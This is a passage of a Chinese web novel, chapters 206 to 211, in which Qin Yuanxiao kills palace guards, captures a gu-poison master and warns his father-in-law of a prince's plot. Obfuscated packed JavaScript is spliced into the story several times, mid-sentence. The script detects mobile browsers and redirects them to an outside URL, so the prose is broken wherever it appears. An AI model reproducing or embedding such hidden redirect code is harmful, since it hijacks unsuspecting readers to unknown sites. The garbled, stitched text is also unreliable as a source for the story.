他深吸一口气,努力平复躁动的心绪。现在需要的是冷静,而不是莽撞。 夜色渐深,月亮躲进了云层。秦远霄却毫无睡意,他开始检查随身携带的暗器。 每一件都经过精心保养,稍有不慎就会致命。就像他的复仇计划,容不得半点差错。 突然,一阵冷风吹来,烛火摇曳。秦远霄警觉地抬头,却只看到窗外飘落的树叶。 他自嘲地笑了笑,果然是太紧张了。 但这种紧张是必要的。在即将踏入虎穴的时候,一丝一毫的松懈都可能带来致命的后果。 秦远霄走到桌前,取出一个小瓶子。里面装着顾星河给他的解药,以防易容药物出现意外。 他仔细地将瓶子藏好,又检查了一遍装扮。确认无误后,这才躺下休息。 明天,就是开始的时候了。 不知不觉间,东方已经泛起鱼肚白。新的一天,即将到来。 在城门口碰面碰面后,两人用过早膳,便动身前往九王府。秦远霄趁着顾星河不注意,朝房顶的小白做了个手势。那只灵巧的白鸽会意,展翅跟随,与主人保持着恰到好处的距离。 九王府门前已是宾客如云,马车络绎不绝,富贵气息扑面而来。顾星河带着秦远霄站在不远处等候东岚,周围三三两两的达官贵人正在低声交谈。 “听说这次宴会,东岚是为了给沧澜先生接风。” “可不是嘛,听说沧澜先生医术通神,连太医院都要礼让三分。” “这东岚也是有心了,专门设宴款待。” 秦远霄竖起耳朵,将这些碎语一一记在心中。他注意到不少人看向顾星河的目光中带着异样,显然对这位曾经的状元郎如今沦为东岚的幕僚颇有微词。 第二百零六章 半个时辰后,东岚终于姗姗来迟。他穿着一身华贵的**袍,腰间玉佩叮当作响,举手投足间尽是倨傲之气。 秦远霄几乎认不出眼前这个趾高气扬的胖子就是当年那个谦逊有礼的东岚。十年光阴,权势如**,将那个温和的少年吞噬得一干二净。 “崇王殿下。”顾星河恭敬行礼,声音平稳,看不出丝毫异样。 “嗯,免礼。”东岚傲慢地挥了挥手,目光在秦远霄身上停留了片刻。 秦远霄低着头,学着影子的样子微微摇头,示意这几日顾星河并无异常。他能感觉到东岚审视的目光如同利剑,似乎要将他整个人剖开。 东岚这才收回视线,带着众人进入九王府。府中处处张灯结彩,丝竹之声不绝于耳,一派歌舞升平的景象。 按照规矩,随从们被安排在西边的小院。院中种着几棵老槐树,枝繁叶茂。秦远霄暗中观察,发现树上藏着十二名暗卫,个个身手不凡。 这些暗卫的装束与其他护卫略有不同,显然不是来宾的随从。他们的目光不时扫向院中某个角落,像是在守护着什么人。 沧澜先生? 秦远霄心中一动。他找了个角落坐下,开始暗自盘算对策。袖中的连珠弓只能射出十支箭,对付不了所有暗卫。若不能同时制服,肯定会惊动目标。 他注意到有六名暗卫距离较近,决定先下手为强。时机很重要,必须等到他们警惕性最低的时候。 “去趟茅厕。”秦远霄低声说了一句,从后门溜出小院。他躲在一棵大树后,握紧了袖中的连珠弓,呼吸渐渐平稳。 院中传来丝竹之声,歌姬的曼妙歌声飘荡在空中。暗卫们的注意力似乎被吸引了过去,警惕性果然有所放松。 就是现在! 连珠弓的箭矢破空而出,带着凌厉的杀意划破夜色。六名暗卫还未来得及做出反应,便已眉心中箭。鲜血顺着树干蜿蜒而下,在月光下泛着诡异的光泽。 秦远霄手中的连珠弓再次瞄准剩下四名暗卫,冰冷的金属触感透过指尖传来。他能感受到暗卫们紧张的呼吸声,却无法给予他们任何反应的机会。 “咻咻咻咻!” 四道破空声几乎同时响起,又是四具尸体从树上坠落。落叶被砸得四散飞扬,空气中弥漫着浓重的血腥气。 最后两名暗卫终于察觉不对,身形一闪便要遁走。他们的动作快若闪电,在树影间穿梭,留下道道残影。 秦远霄嘴角勾起一抹冷笑,早有准备似的,身影如鬼魅般掠过。月光下,他的身形忽隐忽现,手中的粉末如烟雾般散开。 “咳咳——”两名暗卫猝不及防吸入粉末,双眼瞬间失去焦距,身形踉跄几步后直挺挺倒下。 **出鞘的声音在寂静的夜色中格外清晰。秦远霄动作干脆利落,手起刀落间便结果了他们的性命。鲜血在地上蔓延,染红了周围的杂草。 处理完最后两具尸体,秦远霄环顾四周。这处偏僻之地虽少有人至,但十二具尸体若是被发现,必然会引起轩然大波。他的目光在周围逡巡,寻找着合适的处理地点。 远处一片荒废的人工湖映入眼帘,湖水浑浊不堪,杂草丛生。湖边零星散落着几块断裂的石块,显然已经许久无人问津。 “这里倒是个不错的选择。”秦远霄低声自语,开始着手处理尸体。 将尸体一具具拖向湖边的过程并不轻松,湿滑的血迹在地上留下蜿蜒的痕迹。他不得不时刻警惕周围的动静,同时还要确保不会留下任何蛛丝马迹。 看着尸体缓缓沉入湖底,秦远霄擦了擦额头的汗水。浑浊的湖水泛起阵阵涟漪,很快又恢复平静,仿佛什么都没发生过。 “等我带走沧澜先生,这些就与我再无瓜葛。”他低声呢喃,目光中闪过一丝复杂。 处理完尸体,秦远霄循着记忆中琴声传来的方向前进。九王府竟有如此荒凉之地,着实令他意外。这里的景象与府中其他地方形成鲜明对比,处处透着诡异和荒芜。 杂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15777973|170042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 草疯长,有些甚至高过人头。若非他方向感极强,怕是早已迷失其中。潮湿的空气中飘荡着腐烂的气息,偶尔传来几声不知名的虫鸣。 穿过杂草丛生的小径,一座破旧的院落映入眼帘。斑驳的围墙上爬满了藤蔓,朽坏的门框摇摇欲坠,却莫名透着几分诡异的气息。 “这里确实是个藏人的好地方。”秦远霄暗自思忖,“难怪九王爷会选在这里。” 为避免惊动院中之人,他沿着草丛边缘小心潜行。每一步都要确保不发出任何声响,甚至连呼吸都刻意放轻。 忽然,吱呀一声,破旧的院门被推开。两道身影从中走出,秦远霄立即屏住呼吸,身形更加贴近地面。 走在前面的正是九王爷,一身华贵的锦袍在这荒凉之地显得格格不入。跟在他身后的是一个身着白衣的人影,头戴围帽,瀑布般的白发垂至腰间。 “这位应该就是沧澜先生了。”秦远霄目光紧盯着那道白色身影,心中暗自确认。 “先生放心,这些蛊虫定能派上大用场。”九王爷将几个青花瓷瓶小心翼翼地收入怀中,语气中难掩兴奋之情。他的双手甚至有些微微颤抖,显然对瓷瓶中的东西志在必得。 沧澜先生站在原地,语气淡漠得仿佛在谈论天气:“事成之后,永安江山便是你的了。” “多谢先生相助,待我登基,必封先生为国师。”九王爷躬身行礼,姿态放得极低。 “本座拭目以待。”沧澜先生的声音依旧冰冷,仿佛寒冬腊月的北风。 九王爷又说了几句恭维的话,这才恭敬地告退离去。沧澜先生静立原地,白衣在夜风中轻轻飘动。 秦远霄见时机已到,轻轻打了个响指。一直藏在暗处的小白会意,振翅飞向沧澜先生。 “宝贝儿,你回来了。”沧澜先生的语气骤然变得温柔,与方才判若两人。 小白落在他伸出的手臂上,却浑身炸毛,显得极不自在。它不安地扭动着身子,似乎感受到了某种威胁。 第二百零七章 就在这时,前院突然传来一阵鞭炮声,显然是九王爷离开时故意制造的声响。秦远霄抓住这个时机,迅速取出**瞄准。 “嗖!” **破空而出,正中沧澜先生左肩。令秦远霄惊讶的是,沧澜先生并未立即倒下,反而朝他这边看了一眼,目光中似有深意。直到这时,他才缓缓倒地。 确认沧澜先生已经昏迷,秦远霄这才从草丛中现身。他快步走进房间,开始仔细搜查。房间内虽然整洁有序,却未发现任何蛊虫**的踪迹。 “不对劲。”秦远霄皱眉,“以他的身份,不可能不备些防身之物。” 他仔细敲击着墙壁和衣柜,寻找可能存在的暗格机关。然而搜寻许久,却一无所获。就连地板下也没有发现任何隐藏的空间。 “这里面必有蹊跷。”秦远霄站在房间中央,目光扫过每一个角落。沧澜先生给他的感觉越来越不简单,这种表面的平静下必然暗藏汹涌。 沧澜先生瘫倒在地上,呼吸均匀,显然还在昏迷中。这让他有充足的时间进行搜查。 “这**的效果倒是不错。”他低声自语,嘴角微微上扬。脑海中浮现出那个总是出其不意的小女人,她总能在关键时刻给他惊喜。 房间里的陈设并不复杂,一张拔步床,几件普通的家具,墙上挂着几幅字画。他仔细检查过每一处可能藏匿物品的地方,却一无所获。 最后的希望落在这张看似普通的拔步床上。他轻轻掀开被褥,手指细致地摸索着每一寸木板。忽然,床头处传来细微的松动感。 “有意思。”他眯起眼睛,指尖用力一按。 “咔嗒”一声轻响,一块木板应声而起,露出下面漆黑的洞口。月光照进去,隐约可见向下延伸的阶梯。 “九王府,果然处处是机关。”秦远霄冷笑一声,目光落在密道旁的暗格上。 整整齐齐的十几个小瓷瓶映入眼帘,每个瓶子上都贴着标签,字迹工整。他取下一个仔细端详,瓶中装着淡绿色的粉末。 “**。”他从床上撕下一块布料,将瓷瓶仔细包好。但他知道最重要的东西不会在这里——养蛊人视蛊如命,那些致命的小东西必定随身携带。 目光落在昏迷的沧澜先生身上,秦远霄的眼神变得幽深。这个害得父亲和大哥、二哥深陷痛苦的罪魁祸首,此刻就在他面前,触手可及。 手指不自觉地握紧,指节发白。但很快,他又强迫自己放松下来。现在还不是报仇的时候,贸然行动只会打草惊蛇。五哥和六哥还在外面接应,必须按计划行事。 他快步走到书案前,提笔写下一张字条:【五哥、六哥,发现密道,让我先上去探探路,稍后让小白告知位置。】 “小白。”他轻声唤道。 一只白色的信鸽从窗外飞进来,停在他的肩头。 他把纸条捆在小白的脚上,轻声说道:“去找五哥六哥,然后回来找我。” 等小白飞走后,他才走到沧澜先生身边。摘下对方的围帽,露出一张出人意料的年轻面容——鹤发童颜,与风渠的描述分毫不差。 仔细搜身,果然在对方怀中找到六个精致的瓷瓶。透过瓶壁,可以看到里面蠕动的黑影。 “但愿你们当中有控制父亲和大哥二哥的母蛊。”他小心翼翼地将瓷瓶收好,眼中闪过一丝期待和担忧。 拎起沧澜先生,他毫不客气地将人丢进密道。“咚”的一声闷响在狭窄的通道中回荡。 跟着跳下去,一手提着昏迷的人,一手打着手电,沿着潮湿阴暗的通道前行。墙壁上爬满了青苔,空气中弥漫着霉味。 大约走了半个时辰,远处透出一丝微光。推开伪装成衣柜的暗门,眼前是一间空荡荡的房间。家具蒙着厚厚的灰尘,显然很久没人居住了。 出了房门是一处杂草丛生的院子,但那些被踩断的杂草痕迹出卖了这里的秘密——这处看似荒废的院落,其实一直有人在使用。 秦远霄飞身上了房顶,目光扫过四周的景物。远处的建筑轮廓让他瞬间明白了什么。 “澜江?”他轻声自语,“原来如此。” 这里距京城不到一里,显 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15777974|170042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然是九王爷给自己预留的退路。选址巧妙,既方便随时撤离,又不会引人注意。 正思索间,小白振翅而至,五哥六哥的身影紧随其后。 “这小东西,”六哥喘着粗气说,“飞得可真快,差点就跟丢了。” 小白的飞行速度快得惊人,即便是秦家的轻功高手,也要全神贯注才能跟上。白色的羽翼在空中划出优美的弧线,月光下仿佛一道流动的银练。 秦远霄伸手轻抚小白的羽毛,眼中满是宠溺。这只通灵的白鸟,是他最忠实的伙伴。每当看到小白灵动的眼神,他总能感受到一份独特的默契。 “小家伙,你是故意的吧?”他轻声说道,手指轻轻刮了刮小白的下巴,“明知道五哥六哥在后面追着,还故意飞这么快。” 小白歪着脑袋,朝天空叫了一声,那神态分明在说:谁让他们那么慢呢?月光下,它的羽毛泛着淡淡的银光,衬得那双黑亮的眼睛更加灵动。 身后传来急促的脚步声,秦远霄转身,看到两道身影正快步走来。五哥秦徒澜和六哥秦徒琼的脸上都带着些许疲惫,显然是一路追赶得够呛。 “九弟。”秦徒澜喘着气,目光扫向四周,“人呢?” 秦远霄无奈地摇摇头,指了指前方的一间偏僻小屋:“就在里面。” “九弟,可有收获?”五哥沉声问道,目光警惕地扫视四周。 “不少。”秦远霄拍了拍怀里的瓷瓶,“找到了沧澜先生的**和蛊虫。” 五哥点点头:“九王府那边,我已经安排人盯着了。先把人带回去吧。” “好。”秦远霄应道,但话锋一转,“不过在此之前,我想先审问审问这位沧澜先生。” “九弟...”六哥察觉到他语气中的杀意,欲言又止。 “放心,我有分寸。”秦远霄扯出一抹笑容,“只是想知道些事情罢了。” 五哥和六哥对视一眼,最终选择沉默。他们都明白,九弟这些年为了父亲和两位兄长的事,付出了太多。如今终于抓到罪魁祸首,自然要问个明白。 第二百零八章 推开吱呀作响的木门,地上躺着一个人,正是那个让秦家陷入困境的沧澜先生。他双眼紧闭,呼吸平稳,显然是被药物制住了。 六哥秦徒琼一进门就忍不住踹了沧澜先生一脚,咬牙切齿道:“要不是还有用,老子现在就宰了你!”他的眼中闪烁着愤怒的火光,手指因为用力而微微发白。 秦远霄默默看着,没有阻止。这个仇人,他何尝不想亲手了结。想到秦家因此人而遭受的种种磨难,他的心中就涌起一阵难以平息的怒火。 五哥虽然同样愤怒,但还是保持着理智。他深吸一口气,转向秦远霄:“九弟,你是怎么抓到他的?” 秦远霄将在九王府的经历简单说了一遍。说到关键处,他不禁皱起眉头:“那些蛊虫的事情,恐怕比我们想象的还要严重。” “什么意思?”秦徒澜的表情变得凝重起来。 “九王爷手中掌握的蛊虫数量远超我们的预料,而且...”秦远霄顿了顿,“他似乎打算在今晚的寿宴上动手。” 这句话一出,屋内的气氛瞬间凝重起来。秦徒琼握紧了拳头:“这个老狐狸,终于要露出真面目了。” 秦远霄看了看天色,距离沧澜先生中了麻醉已经过去一个时辰。窗外的月光透过破旧的窗棂洒进来,在地上投下斑驳的影子。 这种**效很特殊,只能等他自然醒来。但现在最紧要的,是要阻止九王爷的阴谋。 想到岳父也在九王府,秦远霄心里一紧。沧澜先生塞给九王爷一堆毒物,岳父作为朝中重臣,很可能会成为目标。那张总是带着温和笑意的面容浮现在脑海中,让他不由得攥紧了拳头。 “五哥、六哥,我得回九王府一趟。”他的声音里带着一丝急切。 五哥立刻明白了他的意思:“去吧,这里有我们看着。”他拍了拍秦远霄的肩膀,“记住,遇到危险先保命要紧。” 秦远霄点点头,转身离去。小白跟在他身后,羽翼轻轻扇动,无声地掠过夜空。 回到九王府,他先换上了暗卫的衣服,悄悄潜入后花园。园中灯火通明,处处张灯结彩,与他此刻紧绷的心情形成鲜明对比。 戏台上正在唱戏,宾客们围坐观看,不时传来叫好声。丝竹声悠扬,歌声婉转,仿佛一切都那么祥和。但秦远霄知道,这不过是暴风雨前的宁静。 九王爷坐在主位,一袭华服,面带笑意。身边是九王妃和珊郡主,举手投足间尽显贵气。只是珊郡主的目光总是往东岚那桌瞟,准确地说,是在看顾星河。 那道灼热的视线几乎要在顾星河身上烧出一个洞来。秦远霄暗自摇头,这位郡主的眼神实在太过明显,就连一向迟钝的顾星河都察觉到了不对劲。 果然,没过多久,顾星河就起身离开了宴席。他的脸上带着一丝困扰,显然是被那道视线弄得不自在。 珊郡主立刻跟了上去,裙摆飞扬,在月色下留下一道优美的弧线。她在一处僻静处叫住了顾星河,声音里带着刻意的娇柔:“公子请留步。” 顾星河不得不停下脚步,脸上的表情有些僵硬:“郡主有事?” 珊郡主掩面轻笑,眼波流转:“公子气度不凡,不知是哪家公子?”她向前迈了一步,裙裾轻摆,散发出淡淡的香气。 就在顾星河为难之际,珊郡主突然向后倒去。她的眼神变得涣散,脸色瞬间变得苍白。 秦远霄及时现身,拉着顾星河躲到一旁的假山后。夜风吹过,带来远处的丝竹声和觥筹交错的声音。 “九公子还没离开?”顾星河低声问道,眼中带着疑惑,“需要帮忙吗?” 秦远霄环顾四周,确认安全后说:“我是来提醒你一件事。”他的声音压得很低,“九王爷手里有大量蛊虫,打算收拾今天赴宴的朝廷重臣。” 顾星河闻言,瞳孔猛地一缩:“你是说...” “没错,”秦远霄点头,“今晚的寿宴,恐怕会变成一场血案。” 秦远霄将九王爷的阴谋告知顾星河后,站在九王府的回廊下,望着远处飘落的梨花,心中泛起一丝难以言说的复杂。 庭院里传来丝竹管弦之声,觥筹交错间满是觥筹交错的喧嚣。他的手指无意识地摩挲着袖中的**,冰凉的触感让他稍稍清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15783174|170042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 醒。 这一次入京,他本不该掺和这些是非。可若让九王爷这种与东陲勾结的人登上皇位,遭殃的必是永安的黎民百姓。 “感激九公子指点。”顾星河站在他对面,神色凝重。灯火将他的影子拉得很长,映在地上宛如一道沟壑。 “不必言谢。”秦远霄淡淡道,目光落在远处的梨花上,“我今日便返回塞北了。” “九公子要离开京城了?”顾星河眉头微蹙。 夜风吹过,带来一阵凉意。秦远霄抬眼看向远处灯火通明的宫城,语气中带着几分厌倦:“若非要事,我这辈子都不会踏足京城。如今事了,自当离去。” 顾星河沉默片刻,深深看了他一眼:“九公子若有需要,尽管让蒋大人传话,在下定当竭力相助。” “好,顾先生的话,远霄记下了。” 告别顾星河后,秦远霄并未立即离开九王府。他转身走向珊郡主所在的方向,眼底闪过一丝寒意。 方才在宴席上,那女人对顾星河投来的眼神分明带着勾引之意。想到自己的大舅哥宁子澄即将迎娶这样一个水性杨花之人,秦远霄心中便升起一股怒意。 宁子澄乃是难得的青年才俊,岂能让这种女人玷污? 虽然已经将九王爷的阴谋告知顾星河,但事情成败尚未可知。若九王爷逃过一劫,珊郡主依然要嫁给宁子澄。为了岳父一家的安宁,他必须斩草除根。 月色朦胧,庭院深处的假山投下大片阴影。秦远霄藏身其中,耐心等待着珊郡主经过。 不多时,一阵脚步声传来。珊郡主独自一人踱步而来,手中把玩着一串玉珠,嘴角挂着得意的笑容。 “顾大人果然风度翩翩,比那个宁子澄强多了。”她自言自语道,“等我嫁进宁家,有的是机会...” 话音未落,一道寒光闪过。秦远霄手起刀落,干净利落地结果了她的性命。 将尸体藏好后,秦远霄并未急着离开。若顾星河无法化解这场危机,岳父必定会陷入险境。当初岳父明知秦家满门流放,仍坚持将女儿嫁给自己,这份恩情他不能不报。 第二百零九章 夜色渐深,宴会仍在继续。秦远霄绕到回廊处,正巧遇到一名小厮端着茶水经过。 他迅速将小厮打晕,换上对方的衣服。看着铜镜中的自己,连他都险些认不出来。这是他这些年在塞北学会的易容之术,虽然粗糙,但一时半会足以蒙混过关。 端起掉在地上的托盘,秦远霄向人多处走去。宴会厅内烛火通明,觥筹交错间满是欢声笑语。 此时前排的崇王和顾星河已不在席,其他宾客仍在欣赏台上的歌舞表演,丝毫未察觉危机将至。 宁远志虽然官职不及王公贵族,但位置也在正前方显眼处。与其他人的欢声笑语不同,他眉头紧锁,面带愁容。 看着岳父憔悴的面容,秦远霄心中一痛。这些年,岳父为了保全他们一家,不知受了多少委屈。 他端着托盘走近,故意将茶水泼在宁远志身上:“对不起,求宁爷开恩。” 宁远志虽有不悦,但并未为难下人:“无妨,以后小心些。” 秦远霄取出帕子上前擦拭,压低声音道:“老丈人请这边走,我是秦远霄。” 宁远志浑身一僵,仔细打量眼前人,却看不出一丝女婿的影子。月光下,他的面容带着几分警惕:“胡说,我还能认不出自己女婿?你到底是谁?这儿是九王爷的地盘,我只要一喊,你插翅难逃。” “岳父,我确实是秦远霄。”为取信于他,秦远霄又道,“薇薇左肩有枚指甲大的梅花胎记。这是除了我和岳父母之外,无人知晓的秘密。” 听到这句话,宁远志神色稍缓。他又仔细打量了几眼,见其身形确与女婿相仿,眼中闪过一丝惊讶:“你真是秦远霄?这易容之术...” “岳父,借一步说话,我有要事相告。”秦远霄已擦拭许久,再继续恐生疑窦。 “大人衣服湿了,小的带您去换件衣裳。”他故作谦卑,弯腰做出请的手势。 宁远志顺势起身,故作不悦道:“还不快带路?” “是是是。”秦远霄装出谦卑模样在前引路。 夜色渐深,庭院里的灯笼在风中轻轻摇曳。远处传来断断续续的笑语声,与脚步声交织在一起。 他虽不知客房具体位置,但凭经验判断,这类房间必在宴会附近。于是他领着宁远志,向花园最近的厢房走去。 一路上,宁远志心中翻涌着千万种情绪。他既担心女婿的安危,又忧虑眼下的局势。自从秦家出事后,他们一家战战兢兢过了这么多年,好不容易有了些安宁日子,没想到又要面临新的风波。 穿过几处回廊,秦远霄终于找到一间空置的厢房。 宁府的下人远远看到宁大人过来,火速冲上前去。院中的积水还未退去,几个仆役正忙着清扫地上的落叶。天空阴沉沉的,仿佛还要下雨,空气中弥漫着潮湿的气息。 “大人,您这是要换衣服吗?”那下人一眼就认出了宁远志,目光落在他被打湿的衣袖上。 宁远志的脸色阴沉得可怕,眉头紧锁:“你家仆人真不懂礼数,把本官的衣服都弄湿了。” 话音刚落,府中管家闻讯赶来,他快步走到宁远志面前,脸上堆满了谄媚的笑容:“大人受委屈了,这该死的奴才不长眼睛。您先去那边暖阁稍坐,小的这就给您找身干净衣裳来。” 管家说着,转头狠狠瞪了秦远霄一眼。那眼神里的威胁不言而喻——等客人走了,有你好看。 秦远霄缩了缩脖子,低着头一副受惊的模样。他故意露出几分惶恐,手指微微颤抖,这般示弱不但不会引起怀疑,反而更显得他因为这件事吓得不轻。 暖阁内,炭火烧得正旺。秦远霄将门关好,确认四下无人后,这才卸下伪装,露出本来面目。 立刻跪在宁远志面前,郑重地磕了三个头:“给老丈人请安了。” 宁远志连忙伸手去扶,却在看到那张陌生面孔时迟疑了。他的目光在秦远霄脸上 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至于是双胎的事,他暂时决定不说,免得岳父担心。毕竟双胎产妇的风险要大得多。 “我的薇薇要当娘了...”宁远志老泪纵横,声音哽咽,“她从小被我们惯坏了,性子任性,做事也不够稳重。现在能安稳地过日子,能有自己的孩子,这就够了。” 暖阁外传来脚步声,秦远霄知道时间紧迫,那管家随时可能送衣服过来。他必须抓紧时间说正事,于是压低声音道:“岳父,我发现九王爷勾结了东陲蛊师,今日他会趁着寿宴,在朝堂大臣体内种下蛊毒。” “什么?”宁远志猛地抬头,眼中闪过一丝震惊,“你说九王爷勾结东陲蛊师?这可是大罪!” “千真万确,我亲眼所见。”秦远霄神色凝重,目光如炬,“我冒险来此,就是要提醒岳父提防。关于大舅的终身大事,岳父不必忧心,那珊郡主已经**。” 第二百一十章 宁远志震惊不已,一时间说不出话来。他没想到女婿一来,竟帮他化解了两桩心事。但他还有疑虑:“那东陲蛊师可是最好的证据,这人现在藏哪儿去了?还有...珊郡主之死,可是与你有关?” “是我杀的。”秦远霄直言不讳,眼中闪过一丝寒意,“那种随便勾搭的绿茶,配不上我家大舅这种神仙。至于那蛊师,已被我兄弟们送出京城。” “兄弟?”宁远志一惊,声音不自觉提高了几分,“你是说...” 秦远霄点点头,眼中闪过一丝复杂的情绪:“在塞北时,我找到了六位兄长,其他父兄的下落也有了线索。那蛊师就是**我秦家的罪魁祸首之一,所以不能留下他作证。” 宁远志听得心潮起伏。女婿说薇薇帮了忙,他只当是客气话,毕竟自家女儿是什么性子,他再清楚不过了。那丫头除了爱看些医书,可从没见她真懂什么。 “既如此,我会另想办法找九王爷的罪证。”宁远志沉声道,眼中闪过一丝坚定。 秦远霄看了眼门外,确定无人后压低声音:“岳父,还有一件事...” 这件事可能会让您难以置信。”他的声音低沉而凝重,眉宇间笼罩着一层化不开的阴霾。 宁远志放下手中的茶盏,目光落在女婿脸上。自从女儿嫁给这个年轻人,他们相处的时日并不多,但他清楚地知道,眼前这个年轻人向来稳重。若非事关重大,断不会露出如此神色。 “你且说来。”宁远志微微坐直了身子。 秦远霄环顾四周,确认无人后才压低声音道:“东岚并非圣上亲生。” 话音未落,宁远志猛地站起身来,茶盏翻倒,茶水洒了一桌。他刚要开口,却被秦远霄一把按住肩膀重新按回座位。 “此事千真万确,我亲眼所见。”秦远霄的手指微微收紧,“不仅如此,真正的皇子,如今就在宁远。” 宁远志的呼吸变得急促起来:“你说什么?” “顾星河,就是真正的皇子。”秦远霄缓缓道来,“十八年前,有人将两个孩子调换。顾星河被送到偏僻的山村,而东岚,则成了皇子。” 宁远志听完这番话,久久无言。作为朝中重臣,他太清楚这个消息意味着什么。若是传出去,必将掀起滔天巨浪。 “这么说来,我永安的江山......” 话未说完,门外突然响起敲门声。 “宁大人,衣服已经准备好了。”管家恭敬的声音传来。 他的话还未说完,外面突然传来一阵急促的脚步声。秦远霄立刻住了口,快速在脸上抹了一层粉,恢复成那个战战兢兢的小厮模样。 管家推门而入,手里拿着一套崭新的衣裳:“大人,衣服给您送来了。” 秦远霄眸光一凛,多年行走江湖养成的直觉让他瞬间绷紧了身体。他下意识地按住腰间的佩剑,目光警惕地盯着房门。 就在门开的瞬间,管家手中的瓷瓶掉落在地,整个人也随之倒下。而一只通体发亮的小虫正朝着宁远志飞来。 秦远霄眼疾手快,一把抓住那只蛊虫。虫子在他掌心挣扎,发出细微的嗡鸣声。 “好毒的心思。”秦远霄冷笑一声,将蛊虫放入宁远志递来的茶杯中。 宁远志脸色发白,手指微微颤抖:“这就是传说中的蛊虫?” “是。”秦远霄点头,目光阴沉,“九王爷的动作比我想象的还要快。看来,他已经察觉到了什么。” “我得立刻进宫面圣。”宁远志将茶杯用帕子包好,神色凝重。他看了眼地上昏迷的管家,额头渗出冷汗。 秦远霄伸手扶住岳父的手臂:“岳父,您要多加小心。这蛊虫便是最好的证据,但也证明对方已经对您起了杀心。” “你呢?”宁远志转头看向女婿。 “手头还有点急事要处理,不便久留。”秦远霄拱手。 对了秦远霄继续道:“岳父,薇薇让我转告您,她很想念您和母亲。等孩子生下来,她想带着孩子回京城看看。” 宁远志闻言,眼眶又红了:“这傻丫头,现在这么危险,还想着回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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此时,被他们带着的沧澜先生仍在昏迷。五哥出门采买,留下秦远霄和六哥看守。房间里弥漫着一股药味,混合着些许血腥气。 谁知沧澜先生竟提前醒来,睁眼第一句话就是:“你是秦徒扬?” 六哥冷哼一声:“没想到吧?”他站在角落里,手中把玩着一把**。 沧澜目光从迷茫到清醒,最后定格在秦远霄脸上。他的表情瞬间变得惊恐,想要挣扎却发现四肢仍然无力。 第二百一十一章 房间内,沧澜先生被绑在椅子上,眼神阴晴不定地打量着四周。烛光在他脸上投下忽明忽暗的光影,更添几分诡谲。他的衣衫已经凌乱不堪,发髻也散了大半,哪还有半分世外高人的模样。 “别白费力气了。”秦远霄冷笑道,“麻醉的后劲还在,你暂时动不了。” “你...你是谁?”沧澜先生声音沙哑。 “我是谁不重要。”秦远霄从怀中取出一个瓷瓶,在对方面前晃了晃,“重要的是,这些小东西该怎么处置。” 沧澜先生瞳孔猛地收缩:“你!” “告诉我解蛊之法。”秦远霄的声音冰冷,“否则,我就让你尝尝被自己养的蛊虫反噬的滋味。” 沧澜先生闭上眼睛,脸上露出痛苦的表情:“你不明白...你根本不明白...” “那就让我明白。”秦远霄捏住他的下巴,“为什么要帮九王爷?为什么要害我父亲和兄长?” 沧澜先生突然笑了,笑声中带着几分凄凉:“你以为...这真的是九王爷的意思吗?” 他已经意识到自己落入了一个极其不利的境地。那根绑住他的绳子看似普通,实则暗藏玄机,每动一下就会收紧几分,此时他的手腕已经勒出了深深的红痕。 尤其是当秦远霄大步走来时,他心中更是一沉。秦远霄身上那股凌厉的杀气几乎要化作实质,压得他喘不过气来。 这下可真是落入秦家兄弟手中了。沧澜先生暗自咬牙,都怪自己当初大意了,才让秦徒扬有了生还的机会。若是当时下手再狠一些,也不至于落得今日这般田地。 现在想来,在东陲救走秦徒扬的人,必定就是眼前这个秦远霄。那时候的蛛丝马迹他都察觉到了,却没有放在心上,现在想来真是可笑。 但有一件事让他百思不得其解——自己下的魇魂蛊,到底是被谁解除的?这个问题像一根刺,深深扎在他心里,让他坐立难安。 在养蛊一道上,他敢说天下无人能出其右。这份自负不是没有来由的,而是经过无数次验证。那些江湖中所谓的蛊术高手,在他眼里不过是玩泥巴的孩童。 这么多年来,还从未有人能破解他的蛊术。就连东陲那些世代养蛊的家族,见到他的魇魂蛊也只能望而却步。难道是出现了比他更厉害的养蛊高手?这个念头让他既不甘心又有些恐惧。 就在他沉思之际,秦远霄已经冲到他面前,狠狠踹了他一脚。这一脚正中腹部,力道之大,让椅子都往后滑了几寸。 小白也跟着飞进房间,看到主人发威,兴奋地在空中盘旋,发出欢快的叫声。它那雪白的羽毛在烛光下泛着柔和的光泽,哪还有半分凶兽的模样。 这一脚可不轻,即便以沧澜先生的功力,也不禁闷哼一声。疼痛让他的额头渗出细密的汗珠,但他仍强撑着不肯示弱。 